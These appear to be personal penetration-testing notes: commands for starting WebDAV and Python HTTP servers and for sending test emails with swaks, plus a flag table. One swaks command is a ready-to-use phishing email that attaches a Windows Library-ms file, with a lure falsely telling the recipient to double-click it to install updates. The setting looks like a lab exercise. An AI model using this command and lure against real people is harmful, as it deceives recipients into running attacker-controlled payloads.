Pre-made commands
Start a webdav server
/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webserver/webdav/
Start a python server in the ~/webserver/windows directory
python3 -m http.server 8081
Deliver a standard test email to user@example.com on port 25 of test-server.example.net:
swaks --to user@example.com --server test-server.example.netTest a virus scanner using EICAR in an attachment
swaks -t user@example.com --attach - --server test-server.example.com --suppress-data </path/to/eicar.txtDeliver a standard test email to user@example.com using the LMTP protocol via a UNIX domain socket file
swaks --to user@example.com --socket /var/lda.sock --protocol LMTPSend an email TO Dave Wizard FROM test, attach the file config.Library-ms (which is in the same folder the command is being run in. Dont forget the @.). Authenticate with a password.
swaks --server 192.168.233.199 --to dave.wizard@supermagicorg.com --from test@supermagicorg.com --attach @config.Library-ms --body "Please open the config file attached to this email and double click automatic_configuration to install your updates. Thank you" --auth-password
Flags
| Flag | Description |
|---|---|
| —server | what server/domain to use |
| —to | who to send email to |
| —from | who email is coming from |
| —attach | any email attachments. multiple can be used. put ”@” at the front of each file |
| —body | body of the email |
| —auth-password | use password authentication |
| -p | which tcp port is to be used |
See the github for more detailed info